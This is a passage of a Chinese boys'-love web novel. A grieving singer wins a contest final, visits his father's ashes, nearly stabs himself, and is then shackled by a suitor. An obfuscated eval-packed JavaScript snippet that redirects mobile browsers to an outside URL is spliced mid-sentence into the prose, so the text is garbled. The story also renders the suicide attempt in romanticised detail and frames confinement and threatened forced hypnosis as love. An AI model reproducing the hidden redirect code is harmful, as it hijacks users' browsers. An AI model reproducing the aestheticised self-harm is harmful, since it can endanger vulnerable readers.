一阵凉风吹过,易卿尘的头发被吹起,露出漂亮的额头。楚言把易卿尘的手放在唇边,张嘴呼了几口哈气,试图给他暖暖手,可那份凉意好像从骨头缝里钻出来的似的,还是好冰。 “我们回屋吧,该冻病了。” 易卿尘不说话,默默地站着。 楚言又搓了搓易卿尘的手,接着直接一个弯腰把人抗在肩上,带下了楼。 小尘,我知道你不是真心的快乐,也知道你并不爱我。不管你为什么愿意给我机会,即使是在风雪里为你撑一把伞,我也会认真地去做。一生还有那么长,足够我等到你真心愿意走向我的那一天。 接下来的几日,楚言寸步不离地陪在易卿尘身边,虽然是在“恋爱”,但怕刺激到易卿尘,他一直都小心翼翼地哄着,别说上床了,连牵个手都要观察易卿尘的脸色,生怕对方突然反悔让他滚蛋。 他如今已经没有了竞争对手,所以更多了耐心。 易卿尘的喜怒现在很难猜,楚言还在努力地摸索,这些天易卿尘还是每天只睡一两个小时就会满头大汗地醒来,唯一不同的是,每天他都要亲口问楚言一遍:“我们是在恋爱吗?你以后会跟我结婚吗?” 在等到楚言肯定的答案后,易卿尘会高兴地笑一会儿,然后又变得阴晴不定,转头把自己关在琴房。 易卿尘每次彩排都要好几个小时,楚言就在台下默默等着,博博不知道内情,也看出易卿尘移情别恋了。 博博心里替他小野哥难受,憋着气,故意把杨原野常用的那把吉他拿来了易卿尘的休息室,摆在最显眼的地方,希望提醒他“情人还是老的好”。可易卿尘只是毫无波澜地扫了一眼,便坐着楚总的豪车回家了。 这不是博博熟悉的易卿尘,到底出了什么事? 博博想问问究竟,于是给杨原野打电话,可惜对方电话一直关机。没想到几周前还浓情蜜意的一对璧人,这么一转眼就分道扬镳了,博博心中暗自唏嘘不已,有钱老男人真就那么香吗?怎么比得上帅气飞扬的小野哥呀! 博博愈发想不通,连带着有时候对易卿尘的态度都不那么好了。工作人员们也没见谁家艺人天天由CEO陪着的,也都开始在背后嚼舌根,把易卿尘当成是做皮肉生意的,看他的眼神也多了层暧昧。 易卿尘全然一副无知无觉的样子,做妆发或者候采的时候常常手里摆弄着一个纸飞机,漫不经心地看着远处发呆,沉默的模样显得很抽离,好像不属于这个时空一般。 很快就到了总决赛当晚。网络上万众期待,演播厅座无虚席。 段朗星、江琳达、沈世豪和易卿尘,这四强唱作人将于今晚一决高下。 比赛共分为两轮,第一轮每个选手分别和一位嘉宾表演一首歌曲,由现场大众评委实时投票,票数前两名进入第二轮。第二轮1V1 PK,场外观众投票决出本季《中国唱作人》第二季总冠军。 易卿尘的夺冠呼声非常高,尤其是上次和杨原野PK那场的表演之后,他简直成了“破碎感美型受”的代言人,收割了一大波腐女的眼泪,同人视频如雨后春笋般在网络上流传,人称“Gay圈天菜”。 要知道,什么也比不上腐女们贡献的流量,除了资本的金手指。 第一轮比赛,易卿尘和谢清漓合作了一首新派中国风的原创歌曲,钢琴的典雅和古琴的悠扬,搭配得浑然天成。两人因为上次吸烟床照事件一直都有一定的讨论量,但是弹幕刷的最多得还是呼唤#野尘CP#合体的。 “适合没有哪个女人适合易卿尘,他是alpha们的集体财产!” “#野尘CP#什么时候复合?上期的刀子扎得我至今嗷嗷疼。” “@杨原野,你老婆比赛辛苦,晚上你准备好奖励了吗?#野尘CP#” “#野尘#的性张力哪是一般BG能比的呀喂!?” 易卿尘表演的4分半钟,弹幕糊脸,收视率飙升,主办方自然心里也清楚。易卿尘毫无悬念地进入了终极PK。一起挺进最终轮的是江琳达,跟她一起搭档表演的是特意从韩国飞来的超人气男团队长,外加一个虚拟二次元形象的妙蛙种子,整个表演花了大价钱,看得现场观众惊呼不断,也被保送到了下一轮。 照这个架势,很明显,江琳达是资本要捧的冠军,楚默应该是在背后做足了功夫,花了大价钱的。 楚言却没特意为易卿尘在这方面使劲,在和江鸿、季淮山在香港碰面之后,他想得更多的是如何破这个局,保住楚家。他最不愿意易卿尘再被卷进来,冠军什么的都是过眼云烟,他定了下个月的机票,助理已经在国外准备公寓,添置家私了,他要带易卿尘出国去休养。 终极PK,第一轮票数较低的先表演。江琳达演绎了一曲非常具有个人气质的原创歌曲,把她声线的优势发挥到了极致,整个舞台的灯光、音效、舞美都调度得纷繁绚丽,最后ending pose的时候甚至舞台燃放了烟花。 台上热闹非凡、精彩绝伦,台下却炸开了锅——一会儿给易卿尘伴奏的琵琶老师忽然不见了,哪里都找不见人。 这首终极曲目是易卿尘花了很久写出来的,亮点就是古琴和琵琶的二重奏,中间还有一段斗琴,更是最大的亮点。琵琶老师是中央民乐团首屈一指的年轻艺术家,和易卿尘排练了几次,次次都是全场起立致敬的程度,以至于周泗淼无比骄傲地对着李达理吹嘘:“看看我们工作室出来的人,多像样!” 这下听说琵琶老师不见了,周泗淼已经急疯了。 没了琵琶,易卿尘接下来这首歌基本等于废了。 离上台只剩不到十分钟,博博和吴芷静都跟着着急,各种想办法,看能不能十分钟内找来个会弹琵琶的顶上。 楚言心里猜到,这肯定是楚默、宋小赢他们搞的鬼。楚言倒不那么担心,易卿尘一向不看重输赢,大不了就简单演唱一曲算了。 易卿尘此刻正在专属休息室整理妆发,他穿着浅翠色汉服长跑,头发束起来,从侧面看去,宛如画中仙。楚言走上前去,拍拍易卿尘的肩膀,安慰道:“没事的,我知道你也不在意这个。” 可和易卿尘的眼 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楚言立刻心领神会,说道:“就按他说的做,任何损失都由我们公司承担。” 一旁的副导演立刻跟骆导演通过耳机请示,等了半天,终于是同意了。 本季《中国唱作人》的最后一首歌,舞台上一片安静。 舞台侧边屏幕上的网络投票数字实时在跳动,江琳达一首歌曲过后,领先尚未表演的易卿尘15万票。 啪—— 一束顶光打下来,落在了一个坐在高脚凳上的青年身上。 青年穿着简单的白色高领毛衣,怀抱着一把吉他。 白净纤长的手指在吉他上轻轻扫弦,一串音符飘落在空气中。 一向执琴的人,古琴就是他的代表符号。而今日,他决定放下他自己。 吉他弹奏的旋律像是不同首歌曲拼凑的,灵动地跳脱着。摄影机捕捉到观众席上有好几个女观众居然在默默流泪,于是给足了几秒镜头。摄影师并不知道,这几个是一直以来追节目的野尘CP粉,今天不许她们带灯牌,都空手来的。只有她们立刻听出了这曲子里的关窍。 易卿尘弹奏的这段旋律都来自杨原野的第一张专辑《Mr. Y》,把那年他们共同谱写的歌曲串在了一起,好像那些他们共同拥有过的,很短暂却闪闪发亮的日子。 越来越多的观众听出了其中的奥妙,纷纷露出惊叹的表情。 弹幕上所有人都开始跟着旋律的变换,一首一首地报歌名: 《无事生非》《说晚安》《尼泊尔湖光》《初》《今天是昨天的明天》《Next Chapter》《无涯之水》…… 一分半钟的吉他solo之后,全场被一种淡淡的,难以名状的情愫席卷了,越来越多的观众在现场或是荧幕前潸潸落泪。 最后一个音符落下,寂静无声的三秒后,响起了易卿尘的歌声和琴声,不是任何有预演的编排,一字一音都是他即兴的心曲: “从摩托车的后座看你 耀眼得像太阳的呼吸 从后视镜看我自己 泛起的涟漪都小心翼翼 找不到我存在的意义 直到你闯进生命里 从此我脑中的旋律 每个节拍每句歌词都是你” 手指轻扫着吉他弦,易卿尘望向一片昏暗的观众席,镁光灯有些许的刺眼,他微微眯起眼,于暗色人山人海中,他仿佛看见了那一双泼墨般的眼睛,正盈满笑意地望着他,又转瞬即逝。 “命运是一场游戏 你我还是少了些运气 翻开最终的谜底 判词只一句谢谢参与 青春里风起 每一朵云都关于你 你拉着我跑去哪里我都愿意 再见 少年的你 你是零落不成篇的诗句 不在身边却永远都在我心里 青春里风起 每一朵云都关于你 你拉着我跑去哪里我都愿意 再见 我爱的你 如果你能听见我的声音 到我梦里再抱我一次可不可以 那年倾盆大雨 带给我十九岁的你 感谢这相遇原谅这结局 再见面 不知在某年某世,是个星期几” 眼睛里渐渐笼起一层水雾,易卿尘看不清远方,也看不清近处。但他相信,杨原野此刻就在看着他,在天上,在地下,在无处不在的四面八方。 投票的计数在大屏幕上定格,易卿尘不用看清也知道结果,因为屏幕上两个数字之间差了整整一位数。 阿野,你说想看我获胜看我赢,我做到了。你说要我弹琴、唱歌、恋爱、结婚,我也听你的话了。 所以,阿野,我很乖,你什么时候回来?你真的不想我吗? 如果这次你不回来了,那么换我去找你,好不好? 你不回答,我就当作你同意了,我们一会儿见。 …… 101.101 奔赴 比赛结束当晚凌晨1:30,香格里拉大酒店钻石厅,《中国唱作人第二季》庆功宴。 席上,每个人都显得格外振奋,原因自然是这场总决赛电视和网络直播的收视率双双创下了历史新高。 娱乐圈的宴席最是风流,勾肩调笑,挽臂轻呢,这满堂风光的中心自然是本季冠军——易卿尘。今日的他罕见地穿着一套浓艳璀璨的衣裳,松开两粒扣子,露着一小片冷白色胸膛。 谁都要来和他攀谈敬酒,亲切热络。几个月前他还是个遭人白眼的无名氏,如今俨然明日最耀眼的星斗,谁都要来借个光,争先恐后。 人人都祝贺易卿尘赢了。他一直在笑,全数喝下大家敬他的酒,眼神有些飘忽,不知是不是酒精的缘故。 楚言怕他喝多了,好不容易甩开那些来和他攀谈的生意伙伴,又等易卿尘身旁的人也走了,才逮到机会开口:“你最近身子弱,别喝了,我带你回家吧。” 易卿尘抬眸看着楚言,也没拒绝,淡淡地点了点头:“好。” 楚言没想到易卿尘这么爽快就答应了,看来他这个准未婚夫说话还是很有分量的,心里一时高兴得够呛。 “那你在这儿等着,我去叫司机,把车开到酒店门口咱们再下去,你穿太少了。” 说完,楚言转身往门口走去,还没走两步,就倏地顿住了脚步,只因为身后易卿尘轻轻地叫了一声。 “哥。” 易卿尘眉目如画,淡粉色的面颊上挂着温柔的微笑,看得楚言一时有些恍惚。 “这段时间谢谢你了。” 说不上为什么,除了高兴,楚言眼皮突突跳了两下,心里莫名心慌,好像有什么大事要发生似的。 楚言愣了片刻,定了定心神,笑着回应道:“跟我不用说这个,你等我会儿,我很快就回来,别急。” 等楚言找到司机,交代完事情之后,迅速回到宴会厅,已经全然不见了易卿尘的身影。 夜幕沉沉,一辆白色宝马停在京郊西山殡仪馆停下,司机好像车技不怎么样,侧方停车打了好几把轮试了两次才把车子停好。 易卿尘从车里下来,见殡仪馆的大门锁着,低头看了一眼表,又看了眼黑漆漆的天,叹了口气。还有一两个钟头这里才开门。 他回到车里,把座位放倒一些,透过天窗仰面看着空洞的夜空,迷糊间竟做起了梦。 梦里,秦寒松坐在丞相胡同老房子的榻上,手中握着一把小刻刀在斫琴,听见动静抬起头来,抬眼看见易卿尘,问道:“咋矂眉耷眼的?又遇上难事儿了?过来跟爸说说。你这孩子,哪儿都好,就是心事重。” 易卿尘走近,坐在秦寒松左手边,歪着头枕在秦寒松瘦骨嶙峋的肩膀上,伸出手臂缠着父亲的胳膊。 “爸,我错了,那天我不该跟你吵架,更不该整晚不回家……你打我一顿吧!” 秦寒松隔着头发揉了揉他的脑瓜顶,说道:“小尘,爸哪儿舍得打你呀,再说你都这么大了,也有主意了,爸爸老了,遇事儿你都自己定吧。只有一样,要是在外面受了委屈,记得回家。” 易卿尘心中发酸,想握住秦寒松的手,可眼前的父亲却化作漫天金色的碎片,消散了。 “爸!” 易卿尘在车内惊醒,猛地直起身来,趴伏在方向盘上,大口大口地喘着粗气。 秦寒松去世那年,易卿尘二十三岁。父亲的离世是他心中永远的痛,这么多年始终不敢面对。回来京北后,也从不敢来殡仪馆看看,也不敢回丞相胡同,他没脸见秦寒松。 还记得那个冬天,杨原野去了台湾。那天,易卿尘照例躺在床上和杨原野打越洋电话,没话找话东拉西扯,谁也舍不得撂电话,“你先挂”,“你先挂”,你来我往,黏糊糊的暧昧。 砰! 秦寒松忽然推门而入,眼中是十足的怒意。易卿尘一个激灵先挂了电话。 秦寒松黑着脸一言不发,坐在床边。易卿尘心里发毛,赶紧拉平了衣角,坐起身来。 等了一会儿,只听秦寒松艰难地开口道:“你和小野……你俩闹着玩儿也有个度。” 易卿尘知道瞒不住了,他年轻气盛,也不想瞒,虽然知道老一辈接受不了,但又转念觉得那是老一辈迂腐,于是他施施然地答道:“爸,我是认真的,我喜欢他,想跟他处对象。” 秦寒松顿时火冒三丈,刚刚的隐忍全都转化成了愤怒,狂暴地盯着他,那眼神要把他吃了。 “放屁!”秦寒松站起身怒骂道,“他是有钱人家的公子哥,今年刚二十,还是个小孩儿!你跟他处对象,那不是扯淡吗?易卿尘,我就是这么教你的?你还要不要脸了?等他过几年玩够了,回头找个门当户对的女的结婚去,你到时候怎么办?你去死吗?” 易卿尘被骂得一点脸面都不剩,登时上来一股火气,自尊心作祟,加上年轻叛逆,于是对着秦寒松大吼道:“我去死,我凭什么去死啊?我又没有错!” “这要放以前,就得把你拖到乱葬岗打死,脸都丢光了!还没错,怎么没错?两个男的能结婚生孩子吗?这都犯法!”秦寒松恨得咬牙切齿。 “生生生!你就知道生孩子!现在不是旧社会,人又不是狗,□□就是为了生孩子?我是不会生孩子,那又怎么了?”易卿尘霍地站起身,大叫道,“你不是也生不出来吗?你要是会生,还领养我干嘛?!” 啪——! 一记火辣辣的巴掌甩在易卿尘左脸颊。 易卿尘羞愤难当,扭头怒视着秦寒松,轻蔑地大笑了几声之后摔门而去。 被领养以来,父子俩从未如此争吵过,这还是头一回。易卿尘的确被秦寒松那样的言语刺伤了,可他就是喜欢杨原野,放不了手,他没有办法。 他要是能选择,他也不想做个同性恋。这是天生的吗?也不知道是什么样的父母把他遗传成这样的,说不定就是因为知道他是个“不正常”的孩子,才把他扔在福利院门口……他越想越难受,一个人躲起来,彻夜未归。 第二天上午回来时,易卿尘看见一辆救护车停在胡同口,自家门前围了一圈邻居。他挤进去,只见穿白大褂的人抬着担架出来,那人身上盖上白布…… “唉呀,你这个孩子跑哪儿去了?”隔壁齐伯伯跟在担架后面从屋里走出来,抬手给他身上一拳,打完就哭了,“你爸临了都念叨你名字呢,就差这么一会儿功夫没等到你……” …… 有些遗憾是一辈子都没有办法弥补的,有些“对不起”因为来得太迟,变得毫无意义。 不过爸爸,我很快就可以见到你,亲口跟你认错了。 六点钟,殡仪馆的大门开了。 易卿尘走到服务台,领了钥匙,跟着工作人员往“骨灰盒寄存处”的最里间走。秋天天亮的晚,屋里黑咕隆咚、寒津津的,易卿尘穿着一件华丽的薄衫,绯红色的花纹适合节庆,和这骨灰堂的气氛十分不搭。 有钱人去世,会埋进私人墓地,一人占一片山,风水好,也能旺家宅;那些经济条件中等的,也会埋进公墓,至少有个石碑;而穷苦老百姓去世,骨灰盒只得寄存在殡仪馆。 殡仪馆里中间几行的架子存骨灰盒也要更贵一些。 穿着藏青色老式中山装的大爷取来了梯子,颤颤巍巍地爬上去,够到最顶上一排的架子,用小钥匙开了其中一个小玻璃门,掏出来一个红木色的骨灰盒。 易卿尘伸出双手去接,把盒子捧在眼前,用拇指摩挲着盒子上秦寒松的黑白照片,相片边缘微微脱胶翘起,被岁月染上了黄晕,父亲的笑容依然慈祥和蔼。 易卿尘走出骨灰堂,来到外面的一片专门烧纸的场地,想最后再给父亲寄点儿钱。 他把骨灰盒摆放在石阶上,买了些塑料“祭品”,寿桃、香烟、老白干。这片场地有一个公共的大铁笼子,里面烧着火,谁都可以往里扔“钱”。 穿中山装的大爷收了易卿尘两张红票子,正尽职尽责地往火堆里扔金银元宝和印着天地邮戳的大黄纸,嘴里念念有词:“收钱喽收钱喽,老哥哥,你儿子来给你送钱啦,买点儿好吃好喝的,在那边保佑全家平平安安,上学的考第一,做买卖的发大财……” 易卿尘站在一旁,感受那火焰的温度,热辣辣地烤在脸上,像极了他当年挨的那一巴掌。 燃烧的纸钱带起漫天的尘灰,空气被热浪炙得变形,像酷暑,也像虚影。 那熔化的影像中,易卿尘仿佛看见秦寒松牵着一个小孩远远地朝他走过来,小孩手里拿着一支雪糕,操着一口小奶音说:“爸爸,给你吃一口,你也出汗了!”秦寒松拍拍小孩的脑袋,笑道:“你吃,爸不爱吃雪糕。”两人牵着手往前走远,那小孩忽然回过头来冲易卿尘挤挤眼睛。 那是六岁的小易沉冤,离开了孤儿院,从那天起,终于有人爱他了。 殡仪馆建在山坡上,纸灰随风往山下吹。烧完纸,他又抱着骨灰盒坐了一会儿。烧纸的大爷忙完别的活儿,见他还没走,随口劝了句:“老爷子要回屋歇着了,你也回了吧!” 易卿尘点点头站起身,抱着骨灰盒转身离开。他没按照规定把骨灰盒放回殡仪馆的架子上,而是直接带回了车里。 他今天要走了。在这个世界上,能带着的,只剩这个了。 易卿尘用手机导航找到了侯闯说的那个国道,地图上国道旁蓝色的一片区域就是大海了。他要去见阿野了。 一脚油门,车子沿路疾驰而去。 太阳一点一点地升起,路上的车流渐渐变得多了起来。 阳光照在他苍白的脸上,易卿尘只觉得头晕,嘴唇开始不自觉地发抖,他浑身乏力,只得用两只手扶住方向盘,防止撞到旁边的车辆。 这种感觉易卿尘很熟悉,是低血糖发作。 兜里什么都没有,车上也没有能吃的。易卿尘迅速从最近的出口开出高速,找到一家小商店停了下来。 “叮咚!”随着一声自动门铃的声响,店里一个少女抬起头来,甜甜地说了声“欢迎光临”。 易卿尘径直走进去,从架子上拿了一包软糖、一个小面包,转而去结账。 他戴着口罩,少女盯着他看了半天,却没认出他是谁,只是弯着嘴角感慨道:“你的眼睛长得真好看,像个明星。” 易卿尘没应声,在一旁的临窗台子上撕开包装纸,迅速往嘴巴里塞进了两颗糖,坐了一会儿才缓过劲儿来。 他捏了捏眉心,不想耽搁,站起身刚准备抬脚走出门去,目光却瞥到女孩手中正在摆弄着一束鲜花。 那是一束大红色的弗朗花。 易卿尘的心倏地一顿,鬼使神差地走了过去,哑声道:“这花……” 女孩抬起脸笑着看他,说道:“这花漂亮吧?我男朋友最喜欢了。” 易卿尘哽了一下,跟着轻声说:“嗯,我男朋友也是。” 女孩听后微微露出惊讶的神色,转而又现出暧昧的表情,说:“你男朋友一定很帅吧?” 不然怎么能配得上这么好看的你呢?女孩打量着易卿尘口罩外的眉眼,心想。 易卿尘点了点头。 是,很帅,很爱弗朗花,也很爱我,只可惜他已经死了。 女孩害羞地说:“我男朋友今天从部队回来,我就买了这个,他应该会喜欢吧……不过一般都是男生给女生送花,也不知道他会不会觉得肉麻。” “他一定会喜欢的。”易卿尘说。 女孩听了很高兴,“嘿嘿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736764|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我就想着,好久不见了,应该带束花去见他。” 易卿尘忽然有片刻的失神,空茫地看着前方,口中喃喃说了什么。他匆忙地对女孩道了声谢,便转身迈步朝外走去。 “路线重新规划,到达京北市西城区丞相胡同,全程需要57分钟。” 地图导航的提示音响起,车子掉头往反方向驶去,他要回去取个东西。 好久不见了,应该带束花去见他。 丞相胡同很窄,车只能停在巷口,易卿尘一个人下了车往家走。距离上一次回家已经四年半了。 胡同一点都没变。 巷口有个石狮子,朱红木门,门钹锃亮。 尽头有株大梨树,树影斑驳,随风轻摇。 他凭着记忆走到家门口,113号的白色铁皮门牌依然牢牢钉在门上,抬头往上看,二层带蓝色木漆窗户里面就是他的房间。 门口空花盆下有信箱钥匙,易卿尘打开信箱,里面厚厚一沓信件一股脑地涌了出来,还有一把家里大门的钥匙压在最底下。 易卿尘抱着一叠信件,好不容易腾出手来开门。 吱扭一声打开大门,易卿尘刹那间感到一阵恍惚。 原以为屋内一定粉尘纷纭,黯淡无光,可当走进门的那一刻,他怀疑自己从来没有离开过。 地板虽然磨旧了,却很干净,几乎看不出什么灰尘。屋内的陈设整洁有序,和当年一模一样。可他明明记得那时他走得急,家里被倒腾得极其凌乱,地上摊着的旧物和箱子都来不及收拾,他当年锁上门那一刻心如刀割,不忍再回头多看一眼。 眼前的一切妥帖得像他从未离开,甚至比从前更好:棚顶换了新的暖黄色节能灯管,纱窗漏洞的地方被漂亮的补好,而原本松动的楼梯扶手现在也很牢固…… 易卿尘沿着陡峭的楼梯爬上二楼,走进他的小屋。 一面浅蓝色的床单干干净净,被子叠成豆腐块靠着墙壁。书桌上码着他的原稿纸,五线谱,一摞CD,最上面的是崔健的《一无所有》,一本《剑桥鲍勃·迪伦手册》安安静静地摊开在桌上…… 易卿尘走过去,指腹抚过铅印的文字,这书还停在他当初读的那一页,随书附赠的书签上是鲍勃迪伦的照片,上面是当初杨原野给鲍勃迪伦涂的一副黑墨镜。 窗台上摆着一盆弗朗花,开得红灿灿。没想到这盆花竟还活着?易卿尘心头一震,再定睛一瞧——花盆里竟然有两株弗朗,可他当年明明只埋下了一颗种子呀…… 眼前的两朵弗朗花生机勃勃,交颈相缠,温柔缱绻,成双成对,宛如时间的蒙太奇。 易卿尘忽然之间全明白了—— 原来这些年,在他不肯回望的地方,有一个人一直在等他回家。 他咚的一声跌坐在床上,平整的浅蓝色床单被压出一片褶皱,仿佛往事的痕迹,轻轻一压就浮出来。 良久,易卿尘抱着那盆花走下楼去。 临走前,他忽然有些不舍,还想最后再看一遍这个房子的每一处。低垂眼帘,视线停在面前桌上刚拿回来的一沓信件上,一张明信片掉在了一旁的地上。 易卿尘弯腰捡起来,只见明信片繁体的“台湾垦丁”四字格外醒目。 他拿近来看,明信片上印着一张照片,海边红白相间的灯塔旁有一棟房子,房门前站着一个穿黑色T恤的少年,双手插兜,头发被海风吹乱,笑容骄傲张扬又漫不经心。 易卿尘用颤抖的手指捏紧,把明信片翻了个面—— 右上角黑灰色的邮戳显示,这张明信片于七天前刚刚从台湾寄出。 卡片上,飞扬又熟悉的字迹,用和台湾海峡的海水同颜色的油墨写着一行字: “青春作伴好还乡” 落款是:杨原野[爱心]易卿尘,后面跟着一个四年前的日期。 易卿尘永远记得那个日子,那天他星夜离家,离开京北,离开了他爱的人,开始了一个人的颠沛流离。 那一天,20岁的杨原野在海角七号拍摄地旅行游学,他买了这张“寄往未来的明信片”,虔诚地写下了他尚未宣之于口的爱意。杨原野也曾暗暗幻想,几年后的易卿尘收到它的样子。 只是那时的杨原野怎么也想不到,易卿尘拿到它时,竟是这样的痛彻心扉。 连日来压抑在心中的悲痛终于一股脑地爆发了,易卿尘趴在桌上泪如雨下,眼泪模糊了卡片上的字迹,将易卿尘的灵魂全部抽干。 阿野,我们说好永远在一起的。 如果把永远拆碎了,就是每一天每一分每一秒。 我已经让你等了那么多年,这次不会再让你多等了。 海水那么冷,没有我抱着你,会很难熬吧…… 别急,我现在就来找你了。 易卿尘擦干眼泪,转身走去厨房抽屉中翻出了一把尖刀,又在灶台的边沿认真地磨,磨了半天,确保它足够锋利,可以一刀毙命。 他用手指试了试刀锋,只轻轻划过,指尖便汩汩地淌出血来。 易卿尘脸上露出了发自内心的笑容,他把手指上的血认真涂抹在嘴唇上,衬着妃色的华丽薄衫,似新娘的红唇,亦如彼岸燃烧的花朵。 他握着刀柄,直握到手心发痛。 易卿尘把刀对准了自己心口的位置,感觉到一种前所未有的平静,心跳和呼吸都像风吹过草地般,宁静又遥远。 他慢慢地闭上了眼睛,抬起握着刀的手…… “易卿尘——” 一个熟悉的声音从背后响起。 易卿尘猛地睁开眼睛,全身上下如同电击一般,每一个毛孔都竖了起来。他动弹不得、蜡在原地,直到那个声音再一次响起。 “易卿尘,你在做什么?” 102.102 如梦 易卿尘僵硬地扭过脖子,看向身后。 杨原野就站在门口,静静地看着他,目光是那么温和又遥远。 “愣着干什么?”杨原野伸开双臂,向他展开一个怀抱,问道,“还不过来抱我?才这么几天,就连自己老公都不认识了?” 手里的尖刀啪嗒一声掉在地上。他飞身扑进那个温暖的怀抱里,埋首咬唇,无声地哭,如一场静音了的暴雨。 杨原野抱着他,有力的大手一下一下地拍着他的背,直到肩膀抽动的频率逐渐慢了下来。 “小尘,你刚刚在干什么?” 易卿尘用袖子擦了一把眼泪,艰难地开口:“我……我想死……” 他不想掩饰,因为答应过阿野,拉过钩的,往后再也不会骗他。 “唉……”杨原野轻轻叹了口气,“我知道丢下你一个人活着很辛苦,可是小尘呀,再坚持一下好吗?” 易卿尘听了这话,怔愣了一秒而后使劲地摇头,“我讨厌这样活着,我坚持不住了。唯一支撑我的,只是完成你对我的各种期盼。我把能做的都做了,唯独恋爱和结婚,我是真的做不到。” 杨原野温柔地看着他,语气平静地开解道:“别逼你自己,慢慢来,时间久了就能做到了。” “不!不会的,不会的……除了你以外,我不想再和任何人谈感情。我也厌恶别人喜欢着我的眼神,就像是对你的背叛。阿野,我是你的啊,可以是你的一个挂件,一件衣服,一个什么东西都行,你把我揣进兜里,不要让给别人好不好?你再自私霸道一点儿,我真的不会生气……” 易卿尘死死地搂住杨原野的腰,越说越激动,说到最后,他已经不敢抬头去和杨原野对视,他不想他看见自己如此软弱的愚蠢表情。 杨原野在他头上长长地呼了一口气,声音依然没什么起伏,只是温和地劝说:“小尘,我没什么能再给你的,唯独希望你好好活下去。你不是谁的什么物件儿,你还有属于你自己的长长的人生要过啊……” 声音渐渐拉出不大不小的回响,紧紧抱住的身体慢慢失去了实感。 易卿尘惶惶地抬头看去,面前杨原野的样子变得越来越模糊…… “阿野,你是又要走了吗……” 易卿尘急忙伸手去抓,却只抓到一手虚空,他惊慌失措继而涌起一腔巨大的愤怒,失控大吼道: “杨原野,你是逼我恨你吗?真他妈的混蛋,已经失约一次了,还要再丢下我吗?你信不信,你如果走了,我就立刻杀了我自己!” 杨原野的周身泛起层层白光,面容仿佛沙漠中的海市蜃楼般虚晃着,在他的影像完全消失前,他收起了脸上一直挂着的平静笑容,留下的最后一句话竟是严肃的诘问。 “易卿尘,你算什么?就敢死……这是我拼了性命去守护的人,你凭什么伤害他的身体?” 是啊,如果不是为了保护他,杨原野根本就不会出事。他有什么资格决定易卿尘的生死…… 杨原野化作一片金色的光点消散在面前,只留易卿尘一个人跪坐在地上哀哀地哭诉。 “别、别走,别走阿野,我错了……刚刚都是我胡说八道的,我不闹了,不死了,再也不死了,你让我死的时候我再死……这样行吗,现在可以回来了吗?” “阿野,你再多陪我一小会儿行不行,求你了,我真的好害怕……” “你又骗我……混蛋……” “……” 易卿尘渐渐地失去了意识,等他再次清醒过来时,他发现自己正躺在一张舒适的大床上。耳畔传来楚言和一个男人的对话声。 “病人出现长时间的幻觉,并且试图自|杀,属于很严重的精神问题,我虽然给他用了药,但这种情况还是建议转去专门的医院,做好长期治疗的准备。” 楚言的声音听起来很疲惫:“我,不想让他出门……您是这方面的专家,可以每天来家里给他治疗吗?费用不是问题。” 医生沉思片刻,答道:“我会给他开药,你们看着他每天定时服用。我每周会来两次给他做心理咨询。但是在此期间,你要密切观察他是否有再次自杀的倾向,家里的刀具最好都收起来。” “好,辛苦了陈博士。沈从南,你去送送。” 易卿尘闭着眼睛,默默地听着。 幻觉。 是杨原野救了易卿尘一命吗?还是易卿尘从刀下救了自己? 他不想去深想,头好痛,闭着眼睛也觉得世界在旋转,不知是精神压力,还是药物的作用,他很快又再次陷入了睡眠。 易卿尘不断地做梦,又不断地惊醒,然后发现醒来自己仍在梦里,反反复复地挣扎…… 不知过了多久,他终于又一次在那张大床上醒了过来。 他呆呆地盯着天花板,良久才意识到自己此刻正身处楚言的别墅。 屋里没有人,四周静谧无声,墙上没有挂钟,不知此刻是天还未亮,抑或夜之将至。 终于抵不过口渴,喉头刺痛得厉害,易卿尘准备下床去找点儿水喝。 哗啦—— 掀开被子,脚掌触到地面,发出哗啦啦一阵金属碰撞声。 易卿尘觉得疑惑,低头一看,他的双脚竟然被一副脚镣拴着,绑在一根床腿上。这副脚镣的链条是黑色金属的,两只镣铐都是皮革质地,接触皮肤的内圈部分很柔软,除了能限制他走路之外,并不会磨伤脚踝。 吱扭一声,门开了。 易卿尘循声望去,是楚言走了进来。他随手摸着墙上的开关,开了灯。 楚言的头发略显凌乱,脸上是一副许多天没有休息好的疲倦神情,全然没有往日的潇洒从容,眼眸里浸满了躁郁,和些许深沉的偏执。 “你醒了?” 楚言说着将一杯水递给易卿尘。 易卿尘仰起头,咕咚咕咚喝完一大杯水,将塑料杯放在床头,垂首间瞥见自己脚腕上的铁链,说道: “这是做什么?放开我,我要走了。” 话音刚落,楚言仿佛听了什么笑话似的,低笑了起来。 “放开你?放开你让你去寻死吗?那天如果不是我抢下你的刀,现在你是不是已经变成一具尸体了?放开你?你别想了……” 易卿尘被他的话惊得一颤,不可置信地问道:“那天的人,是你……?” 楚言点点头,“是我。救你的人是我,可你抱着我喊的是谁的名字,你心里清楚。” 楚言露出从未有过的绝望表情,他从兜里掏出一张折痕明显的白纸,贴近面前单薄的青年,说道:“包括你抱我,接受我,喜欢我,甚至主动要和我结婚,都是因为他的一句话吧?” 易卿尘扫过那张纸,是杨原野留下的那架纸飞机,此刻已经被拆开来摊在床上。 易卿尘不想辩解,沉默地看着面前近乎发狂的男人。 “怎么,你对我连一句解释、一句道歉都没有吗?你可真没礼貌,这么喜欢把别人当傻子耍着玩吗?易卿尘,我对你的耐心已经用完了。以后你就给我在这里待着,哪儿都别想去。每天的药我会亲手喂进你嘴里,医生会定期来给你治疗,如果你不配合,也可以强行催眠治疗,所以你最好给我乖乖听话,别再动什么寻死的歪脑筋。下个月,我们照常去欧洲登记结婚。” 易卿尘抬起脸,深深地锁着眉头,倔强地和楚言对视。 “我不想跟你结婚。” “呵,那怎么办?我现在不是在问你意见。”楚言站起身,神色不愉,转身朝门走去。 “等等!” 易卿尘焦躁地叫住他,“把脚镣打开,我要去洗澡。” 楚言想了想,抬腿走回来,只解开了绑在床腿的锁链那端。 “去洗吧。” 